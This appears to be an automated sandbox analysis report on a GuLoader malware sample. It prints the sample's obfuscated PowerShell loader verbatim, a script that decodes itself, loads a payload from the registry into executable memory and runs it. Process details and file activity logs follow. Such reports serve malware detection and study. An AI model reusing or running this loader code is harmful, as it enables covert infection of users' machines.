""St)Be]KopMauHybBolEdiLvcRe SksDatFlaTitdaiChcDr EneMexFetTaeTorWenKl BriErnThtRe LaPAloPelGiySoTBueCrxSetDiOInuBetKo(VeiNanEmtRe 
UfFFoeSpeSidInsSttSt,YoiPanBltLe ElFOblSpoUrrKieFu,NeiEtnEltPs TrLRaiBemAn)Be;Br[UbDArlMylStIismStpAcoHerLytHe(vl`"""SuuUnsPreAfrhj3Kr2Pr`"
""Un)Un]IspPauSrbPalSmicocma FrsretBoaSttBeiancPr OweBoxKotFaeUrrSnnSu FriStnUntma AnESaxUrcTrlliuPrdBrePsUBepTodDoaUntArePoRAugMo
nBy(DeiKlnHatVa PaUMunAbdPr1Ba3Ti7Le,UniSknAntSk UnKSonUniUnrPo)Ni;Sk[MiDaslEklStIUnmRkptroCarUntEl(Kr`"""TikCueDyrVanBreIdlUn3Bo2
Di`"""po)Su]IdpenudrbTmlOpiGrcfl MesMatKhaDotDiiSycAs LaeOvxRetUreGrrUsnst OuivinPetBe KoSAreXatFrCMioAinFlsLooUnlOpeTeMOdoLodGoec
r(sciMunsutCh LvCYdrKoaChvVeaUntTa,iniApnlstNs RuSGovgrmKumKr)Th;Pa[ElDDilStlviISamTepKooAfrFotMa(la`"""SikAeeDdrafnToeSnlCa3Ob2Ag`"""St)he]
TepInuStbFolPeiPrcan PosphtSyaudtSoiDecBl OueSaxNotNoeBerLanPo TeIVanSatRePPrtLarBl LaEArnSyuTrmnoSReyDesSktRaeKlmBlLPaoTecImaUtlA
neDisPeWMe(KauLyiDenOvttn CrvAc1Cu,SjilonAmtOy SavKa2St)Ti;Be}Ti'De;br`$PrRReeSkaEmbRerPhiSvdKogKueUrdYo3Ts=Ba[FyRtieMaaNobSmrHoiL
idUdgBieReddr1Id]Co:Af:GlVBriExrMetFouInaImlReAGrllalAkoKocDi(Un0Ud,No1In0Pa4Ef8at5Ca7Ta6ul,Ch1ud2Ha2Ha8Ud8Be,Bo6Ve4Sy)do;Sc`$FeHP
aeDraFjdStbEiaOmnaldFosCr=Tv(KvGRoeSjtTu-siIKrtAbeApmSaPParEkoLypsoeChrUdtHeySt Fl-ToPgraPotSnhBi Ge'UnHToKDaCSaUAf:Al\FlAApnCotTa
aPrrRi\OvHmiaSlnBadBrlGniKonUdgPrsGo'un)Mi.TiDHjeortOseWokGrtBreAlrCaiPinFygFoeGurEsnAdeKksLo;Un`$BoTRewReihenReeTh Kr=Ls Ov[MeSVe
yOpsVetAzeMymAu.OmCThoAgnPivSwelarTotEl]Ne:Vg:ReFserMeoismInBEraTrsDeeAb6Po4SpSRetacrLeiinnDegPa(Ra`$ClHBeeVoaBodUnbBeaP
onBedDisLo)Le;Ti[UnSTryOfsPatCleShmRe.SeRReuMinSttFoiAemCueEl.TrITunBhtEveErrProKopTrSNyeRergevLeiPhcKrePhsEd.seMSuaFirunsPrhAaaDe
lSo]Ej:Pr:WrCReoHypDeyGr(Ho`$AgTRewFoidinTaeSt,Fo Ca0Sc,Wi Th Ca`$EkRCyePoaQubdirPsividOpgRaeDadOs3do,Ku Ga`$MiTMawUniefnBreFo.Trc
RvoFiuRanbytSp)Su;Pa[afRFoeJuaRebChrUniPldmngIneSedCo1lo]Tu:Af:NyEIcnBluRemGuSOsyCesPrtDieDimItLProBicToaDalSaeHasTrWDe(Fi`$SoRIne
FoaGabEjrKeiPodRegSieTodSa3lu,Is Eg0fe)pi#Vo;""";Function Reabridged4 {    param([String]$HS); For($i=2; $i -lt $HS.Length-1; $i+=(2+1)){  $Regionplan
arbejderne = $Regionplanarbejderne + $HS.Substring($i, 1); } $Regionplanarbejderne;}$Enterprise0 = Reabridged4 'GrITyEDoXLy ';$Enterprise1= Reabridged4 
$Skolegaardene;&$Enterprise0 $Enterprise1;;

Imagebase: 0x12e0000

File size: 430592 bytes

MD5 hash: DBA3E6449E97D4E3DF64527EF7012A10

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 
00000003.00000002.759722470.0000000006CF0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security

Reputation: high

File Path Access Attributes Options Completion Count Source Address Symbol

Analysis Process: powershell.exe PID: 5840, Parent PID: 4088

General

File Activities

File Created
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C:\Windows\system32\catroot read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 6B595B28 unknown

C:\Windows\system32\catroot2 read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 6B595B28 unknown

C:\Users\user\AppData\Local\Temp\__PSscr
iptPolicyTest_qdv1nroa.nix.ps1

read attributes | 
synchronize | 
generic write

device sequential only | 
synchronous io 
non alert | non 
directory file | 
open no recall

success or wait 1 6B631E60 CreateFileW

C:\Users\user\AppData\Local\Temp\__PSscr
iptPolicyTest_newj5tcw.yq1.psm1

read attributes | 
synchronize | 
generic write

device sequential only | 
synchronous io 
non alert | non 
directory file | 
open no recall

success or wait 1 6B631E60 CreateFileW

C:\Users\user\AppData\Local\Temp\2vgl23kr read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 6ADBFF3C CreateDirect
oryA

C:\Users\user\AppData\Local\Temp\2vgl23kr\2vgl23kr.tmp read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file | 
open no recall

success or wait 1 6B631E60 CreateFileW

C:\Users\user\AppData\Local\Temp\2vgl23kr\2vgl23kr.0.cs read attributes | 
synchronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file | 
open no recall

success or wait 1 6B631E60 CreateFileW

C:\Users\user\AppData\Local\Temp\2vgl23kr\2vgl23kr.dll read attributes | 
synchronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file | 
open no recall

success or wait 1 6B631E60 CreateFileW

C:\Users\user\AppData\Local\Te
mp\2vgl23kr\2vgl23kr.cmdline

read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file | 
open no recall

success or wait 1 6B631E60 CreateFileW

C:\Users\user\AppData\Local\Temp\2vgl23kr\2vgl23kr.out read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file | 
open no recall

success or wait 1 6B631E60 CreateFileW

C:\Users\user\AppData\Local\Temp\2vgl23kr\2vgl23kr.err read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file | 
open no recall

success or wait 1 6B631E60 CreateFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\ModuleAnalysisCache

read attributes | 
synchronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file | 
open no recall

success or wait 1 6B631E60 CreateFileW

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_qdv1nroa.nix.ps1 success or wait 1 6B636A95 DeleteFileW

C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_newj5tcw.yq1.psm1 success or wait 1 6B636A95 DeleteFileW

C:\Users\user\AppData\Local\Temp\2vgl23kr\2vgl23kr.0.cs success or wait 1 6B636A95 DeleteFileW

C:\Users\user\AppData\Local\Temp\2vgl23kr\2vgl23kr.cmdline success or wait 1 6B636A95 DeleteFileW

C:\Users\user\AppData\Local\Temp\2vgl23kr\2vgl23kr.out success or wait 1 6B636A95 DeleteFileW

C:\Users\user\AppData\Local\Temp\2vgl23kr\2vgl23kr.err success or wait 1 6B636A95 DeleteFileW

C:\Users\user\AppData\Local\Temp\2vgl23kr\2vgl23kr.tmp success or wait 1 6B636A95 DeleteFileW

C:\Users\user\AppData\Local\Temp\2vgl23kr\2vgl23kr.dll success or wait 1 6B636A95 DeleteFileW

File Path Offset Length Value Ascii Completion Count Source Address Symbol

unknown 16 19 75 6e 6b 6e 6f 77 6e unknown success or wait 1 6B595B28 unknown

unknown 35 21 75 6e 6b 6e 6f 77 6e unknown success or wait 1 6B595B28 unknown

unknown 56 16 75 6e 6b 6e 6f 77 6e unknown success or wait 1 6B595B28 unknown

unknown 72 8 75 6e 6b 6e 6f 77 6e unknown success or wait 1 6B595B28 unknown

File Deleted

File Written
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unknown 80 9 75 6e 6b 6e 6f 77 6e unknown success or wait 1 6B595B28 unknown

unknown 89 8 75 6e 6b 6e 6f 77 6e unknown success or wait 1 6B595B28 unknown

unknown 97 9 75 6e 6b 6e 6f 77 6e unknown success or wait 1 6B595B28 unknown

C:\Users\user\AppData\Local\Te
mp\__PSscr
iptPolicyTest_qdv1nroa.nix.ps1

0 1 31 1 success or wait 1 6B631B4F WriteFile

C:\Users\user\AppData\Local\Te
mp\__PSscr
iptPolicyTest_newj5tcw.yq1.psm1

0 1 31 1 success or wait 1 6B631B4F WriteFile

C:\Users\user\AppData\Local\Te
mp\2vgl23kr\2vgl23kr.0.cs

0 1306 ff 75 73 69 6e 67 20 53 
79 73 74 65 6d 3b 75 73 
69 6e 67 20 53 79 73 74 
65 6d 2e 52 75 6e 74 69 
6d 65 2e 49 6e 74 65 72 
6f 70 53 65 72 76 69 63 
65 73 3b 70 75 62 6c 69 
63 20 73 74 61 74 69 63 
20 63 6c 61 73 73 20 52 
65 61 62 72 69 64 67 65 
64 31 20 7b 5b 44 6c 6c 
49 6d 70 6f 72 74 28 22 
77 69 6e 6d 6d 2e 64 6c 
6c 22 29 5d 70 75 62 6c 
69 63 20 73 74 61 74 69 
63 20 65 78 74 65 72 6e 
20 69 6e 74 20 6d 69 64 
69 4f 75 74 4f 70 65 6e 
28 69 6e 74 20 6b 76 61 
6c 69 2c 69 6e 74 20 4b 
6f 6e 2c 69 6e 74 20 52 
69 6e 67 65 64 2c 69 6e 
74 20 55 6e 77 6f 2c 69 
6e 74 20 55 64 65 29 3b 
5b 44 6c 6c 49 6d 70 6f 
72 74 28 22 6b 65 72 6e 
65 6c 33 32 22 29 5d 70 
75 62 6c 69 63 20 73 74 
61 74 69 63 20 65 78 74 
65 72 6e 20 69 6e 74 20 
4c 6f 63 61 6c 53 68 72 
69 6e 6b 28 69 

using System;using 
System.Runt
ime.InteropServices;publi
c static class 
Reabridged1 {[DllImp
ort("winmm.dll")]public 
static extern int 
midiOutOpen(int kvali,int 
Kon,int Ringed,int Unw
o,int Ude);
[DllImport("kernel3
2")]public static extern int 
LocalShrink(i

success or wait 1 6B631B4F WriteFile

C:\Users\user\AppData\Local\Te
mp\2vgl23kr\2vgl23kr.cmdline

0 371 ff 2f 74 3a 6c 69 62 72 61 
72 79 20 2f 75 74 66 38 
6f 75 74 70 75 74 20 2f 
52 3a 22 53 79 73 74 65 
6d 2e 64 6c 6c 22 20 2f 
52 3a 22 43 3a 5c 57 69 
6e 64 6f 77 73 5c 4d 69 
63 72 6f 73 6f 66 74 2e 
4e 65 74 5c 61 73 73 65 
6d 62 6c 79 5c 47 41 43 
5f 4d 53 49 4c 5c 53 79 
73 74 65 6d 2e 4d 61 6e 
61 67 65 6d 65 6e 74 2e 
41 75 74 6f 6d 61 74 69 
6f 6e 5c 76 34 2e 30 5f 
33 2e 30 2e 30 2e 30 5f 
5f 33 31 62 66 33 38 35 
36 61 64 33 36 34 65 33 
35 5c 53 79 73 74 65 6d 
2e 4d 61 6e 61 67 65 6d 
65 6e 74 2e 41 75 74 6f 
6d 61 74 69 6f 6e 2e 64 
6c 6c 22 20 2f 52 3a 22 
53 79 73 74 65 6d 2e 43 
6f 72 65 2e 64 6c 6c 22 
20 2f 6f 75 74 3a 22 43 
3a 5c 55 73 65 72 73 5c 
61 6c 66 6f 6e 73 5c 41 
70 70 44 61 74 61 5c 4c 
6f 63 61 6c 5c 54 65 6d 
70 5c 32 76 67 6c 32 33 
6b 72 5c 32 

/t:library /utf8output 
/R:"System.dll" 
/R:"C:\Windows\Micros
oft.Net\assembly\GAC_M
SIL\Syst
em.Management.Automa
tion\v4.0_
3.0.0.0__31bf3856ad364
e35\Syst
em.Management.Automa
tion.dll" 
/R:"System.Core.dll" 
/out:"C:\
Users\user\AppData\Loc
al\Temp\2vgl23kr\2

success or wait 1 6B631B4F WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol
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C:\Users\user\AppData\Local\Te
mp\2vgl23kr\2vgl23kr.out

0 454 ff 43 3a 5c 57 69 6e 64 6f 
77 73 5c 73 79 73 74 65 
6d 33 32 3e 20 22 43 3a 
5c 57 69 6e 64 6f 77 73 
5c 4d 69 63 72 6f 73 6f 
66 74 2e 4e 45 54 5c 46 
72 61 6d 65 77 6f 72 6b 
5c 76 34 2e 30 2e 33 30 
33 31 39 5c 63 73 63 2e 
65 78 65 22 20 2f 74 3a 
6c 69 62 72 61 72 79 20 
2f 75 74 66 38 6f 75 74 
70 75 74 20 2f 52 3a 22 
53 79 73 74 65 6d 2e 64 
6c 6c 22 20 2f 52 3a 22 
43 3a 5c 57 69 6e 64 6f 
77 73 5c 4d 69 63 72 6f 
73 6f 66 74 2e 4e 65 74 
5c 61 73 73 65 6d 62 6c 
79 5c 47 41 43 5f 4d 53 
49 4c 5c 53 79 73 74 65 
6d 2e 4d 61 6e 61 67 65 
6d 65 6e 74 2e 41 75 74 
6f 6d 61 74 69 6f 6e 5c 
76 34 2e 30 5f 33 2e 30 
2e 30 2e 30 5f 5f 33 31 
62 66 33 38 35 36 61 64 
33 36 34 65 33 35 5c 53 
79 73 74 65 6d 2e 4d 61 
6e 61 67 65 6d 65 6e 74 
2e 41 75 74 6f 6d 61 74 
69 6f 6e 2e 

C:\Windows\system32> 
"C:\Windo
ws\Microsoft.NET\Frame
work\v4.0.30319\csc.exe" 
/t:library /utf8output 
/R:"System.dll" /R:"
C:\Windows\Microsoft.Ne
t\assem
bly\GAC_MSIL\System.M
anagement
.Automation\v4.0_3.0.0.0
__31bf
3856ad364e35\System.M
anagement.Automation.

success or wait 1 6B631B4F WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Mod
uleAnalysisCache

0 4096 50 53 4d 4f 44 55 4c 45 
43 41 43 48 45 01 08 00 
00 00 fd 3c fd 65 9f fd 08 
59 00 00 00 43 3a 5c 50 
72 6f 67 72 61 6d 20 46 
69 6c 65 73 20 28 78 38 
36 29 5c 57 69 6e 64 6f 
77 73 50 6f 77 65 72 53 
68 65 6c 6c 5c 4d 6f 64 
75 6c 65 73 5c 50 6f 77 
65 72 53 68 65 6c 6c 47 
65 74 5c 31 2e 30 2e 30 
2e 31 5c 50 6f 77 65 72 
53 68 65 6c 6c 47 65 74 
2e 70 73 64 31 1d 00 00 
00 10 00 00 00 55 6e 69 
6e 73 74 61 6c 6c 2d 4d 
6f 64 75 6c 65 02 00 00 
00 04 00 00 00 69 6e 6d 
6f 01 00 00 00 04 00 00 
00 66 69 6d 6f 01 00 00 
00 0e 00 00 00 49 6e 73 
74 61 6c 6c 2d 4d 6f 64 
75 6c 65 02 00 00 00 12 
00 00 00 4e 65 77 2d 53 
63 72 69 70 74 46 69 6c 
65 49 6e 66 6f 02 00 00 
00 0e 00 00 00 50 75 62 
6c 69 73 68 2d 4d 6f 64 
75 6c 65 02 00 00 00 0e 
00 00 00 49 6e 73 74 61 
6c 6c 2d 53 63 

PSMODULECACHE<eY
C:\Program Files 
(x86)\WindowsPowerShel
l\Mod
ules\PowerShellGet\1.0.0
.1\Pow
erShellGet.psd1Uninstall-
ModuleinmofimoInstall-
ModuleNew-scr
iptFileInfoPublish-
ModuleInstall-Sc

success or wait 1 6B631B4F WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol
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C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Mod
uleAnalysisCache

4096 3907 4d 69 63 72 6f 73 6f 66 
74 2e 50 6f 77 65 72 53 
68 65 6c 6c 2e 55 74 69 
6c 69 74 79 5c 4d 69 63 
72 6f 73 6f 66 74 2e 50 6f 
77 65 72 53 68 65 6c 6c 
2e 55 74 69 6c 69 74 79 
2e 70 73 64 31 6d 00 00 
00 0f 00 00 00 52 65 6d 
6f 76 65 2d 56 61 72 69 
61 62 6c 65 08 00 00 00 
0e 00 00 00 43 6f 6e 76 
65 72 74 2d 53 74 72 69 
6e 67 08 00 00 00 0d 00 
00 00 54 72 61 63 65 2d 
43 6f 6d 6d 61 6e 64 08 
00 00 00 0b 00 00 00 53 
6f 72 74 2d 4f 62 6a 65 
63 74 08 00 00 00 14 00 
00 00 52 65 67 69 73 74 
65 72 2d 4f 62 6a 65 63 
74 45 76 65 6e 74 08 00 
00 00 0c 00 00 00 47 65 
74 2d 52 75 6e 73 70 61 
63 65 08 00 00 00 0c 00 
00 00 46 6f 72 6d 61 74 
2d 54 61 62 6c 65 08 00 
00 00 0d 00 00 00 57 61 
69 74 2d 44 65 62 75 67 
67 65 72 08 00 00 00 11 
00 00 00 47 65 74 2d 52 
75 6e 73 70 61 63 

Microsoft.PowerShell.Utili
ty\M
icrosoft.PowerShell.Utility
.psd1mRemove-
VariableConvert-Stri
ngTrace-CommandSort-
ObjectRegister-
ObjectEventGet-
RunspaceFormat-
TableWait-DebuggerGet-
Runspac

success or wait 1 6B631B4F WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 6C6C5705 unknown

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 6C6C5705 unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6C6C5705 unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 6135 success or wait 1 6C6C5705 unknown

C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152
fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll.aux

unknown 176 success or wait 1 6C6203DE ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 6C6CCA54 ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 6C6CCA54 ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6C6CCA54 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux

unknown 900 success or wait 1 6C6203DE ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7e
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux

unknown 620 success or wait 1 6C6203DE ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 6C6C5705 unknown

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 6C6C5705 unknown

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 6C6C5705 unknown

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 6C6C5705 unknown

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b2
19d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll.aux

unknown 748 success or wait 1 6C6203DE ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf4
9f6405#\ccc7c82770f93d1392abde4be3a80378\Microsoft.Managemen
t.Infrastructure.ni.dll.aux

unknown 748 success or wait 1 6C6203DE ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Sta
rtupProfileData-NonInteractive

unknown 64 success or wait 1 6C6D1F73 ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Sta
rtupProfileData-NonInteractive

unknown 22424 success or wait 1 6C6D203F ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Config
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuratio
n.ni.dll.aux

unknown 864 success or wait 1 6C6203DE ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1

unknown 4096 success or wait 1 6B631B4F ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1

unknown 492 end of file 1 6B631B4F ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana
gement\1.0.0.1\PackageManagement.psd1

unknown 4096 success or wait 1 6B631B4F ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana
gement\1.0.0.1\PackageManagement.psd1

unknown 774 end of file 1 6B631B4F ReadFile

File Read
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C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psd1

unknown 4096 success or wait 1 6B631B4F ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psd1

unknown 4096 end of file 1 6B631B4F ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psd1

unknown 4096 success or wait 2 6B631B4F ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psd1

unknown 4096 end of file 1 6B631B4F ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psm1

unknown 4096 success or wait 2 6B631B4F ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psm1

unknown 682 end of file 1 6B631B4F ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psm1

unknown 4096 end of file 1 6B631B4F ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

unknown 4096 success or wait 1 6B631B4F ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

unknown 289 end of file 1 6B631B4F ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

unknown 4096 end of file 1 6B631B4F ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

unknown 4096 success or wait 1 6B631B4F ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

unknown 289 end of file 1 6B631B4F ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

unknown 4096 end of file 1 6B631B4F ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PSModule.psm1

unknown 4096 success or wait 120 6B631B4F ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PSModule.psm1

unknown 993 end of file 1 6B631B4F ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PSModule.psm1

unknown 4096 end of file 1 6B631B4F ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

unknown 4096 success or wait 1 6B631B4F ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

unknown 637 end of file 1 6B631B4F ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

unknown 4096 end of file 1 6B631B4F ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

unknown 4096 success or wait 1 6B631B4F ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

unknown 637 end of file 1 6B631B4F ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell.Utility.psm1

unknown 4096 success or wait 8 6B631B4F ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell.Utility.psm1

unknown 128 end of file 1 6B631B4F ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell.Utility.psm1

unknown 4096 end of file 1 6B631B4F ReadFile

C:\Users\user\AppData\Local\Temp\2vgl23kr\2vgl23kr.dll unknown 4096 success or wait 1 6B631B4F ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

unknown 4096 success or wait 1 6B631B4F ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

unknown 534 end of file 1 6B631B4F ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

unknown 4096 end of file 1 6B631B4F ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

unknown 4096 success or wait 1 6B631B4F ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

unknown 534 end of file 1 6B631B4F ReadFile

File Path Offset Length Completion Count Source Address Symbol

Target ID: 4

Start time: 11:05:36

Start date: 28/11/2022

Path: C:\Windows\System32\conhost.exe

Analysis Process: conhost.exe PID: 1092, Parent PID: 5840

General
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Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff7fcd70000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: high

Target ID: 7

Start time: 11:06:43

Start date: 28/11/2022

Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Wow64 process (32bit): true

Commandline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2vgl23kr\2vgl23kr.cmdline

Imagebase: 0x1f0000

File size: 2170976 bytes

MD5 hash: 350C52F71BDED7B99668585C15D70EEA

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: .Net C# or VB.NET

Reputation: moderate

File Path Access Attributes Options Completion Count Source Address Symbol

c:\Users\user\AppData\Local\Te
mp\2vgl23kr\CSC2C40FF502EE54A3
9B5D71CE974C4B10.TMP

read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 24E1E9 CreateFileW

File Path Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Temp\2vgl23kr\CSC2C40FF502EE54A39B5D71CE974C4B10.TMP success or wait 1 269793 DeleteFileW

File Path Offset Length Value Ascii Completion Count Source Address Symbol

Analysis Process: csc.exe PID: 4416, Parent PID: 5840

General

File Activities

File Created

File Deleted

File Written
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C:\Users\user\AppData\Local\Te
mp\2vgl23kr\CSC2C40FF502EE54A3
9B5D71CE974C4B10.TMP

0 652 00 00 00 00 20 00 00 00 
fd fd 00 00 fd fd 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 4c 
02 00 00 3c 00 00 00 fd 
fd 10 00 fd fd 01 00 00 00 
00 00 30 00 00 00 00 00 
00 00 00 00 00 00 4c 02 
34 00 00 00 56 00 53 00 
5f 00 56 00 45 00 52 00 
53 00 49 00 4f 00 4e 00 
5f 00 49 00 4e 00 46 00 
4f 00 00 00 00 00 fd 04 fd 
fd 00 00 01 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 3f 00 00 
00 00 00 00 00 04 00 00 
00 02 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 44 00 00 00 01 00 56 
00 61 00 72 00 46 00 69 
00 6c 00 65 00 49 00 6e 
00 66 00 6f 00 00 00 00 
00 24 00 04 00 00 00 54 
00 72 00 61 00 6e 00 73 
00 6c 00 61 00 74 00 69 
00 6f 00 6e 00 00 00 00 
00 00 00 fd 04 fd 01 00 
00 01 00 53 00 74 00 72 
00 69 00 6e 00 67 00 46 
00 69 00 6c 00 65 00 49 
00 6e 00 66 

 L<0L4VS_VERSION_IN
FO?DVarFile
Info$TranslationStringFile
Inf

success or wait 1 26967F WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Temp\2vgl23kr\2vgl23kr.cmdline unknown 371 success or wait 1 24E638 ReadFile

C:\Users\user\AppData\Local\Temp\2vgl23kr\2vgl23kr.0.cs unknown 1306 success or wait 1 24E638 ReadFile

Target ID: 8

Start time: 11:06:44

Start date: 28/11/2022

Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Wow64 process (32bit): true

Commandline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RE
SA66C.tmp" "c:\Users\user\AppData\Local\Temp\2vgl23kr\CSC2C40FF502EE54A39B5D71CE974C4B10.TMP"

Imagebase: 0x13d0000

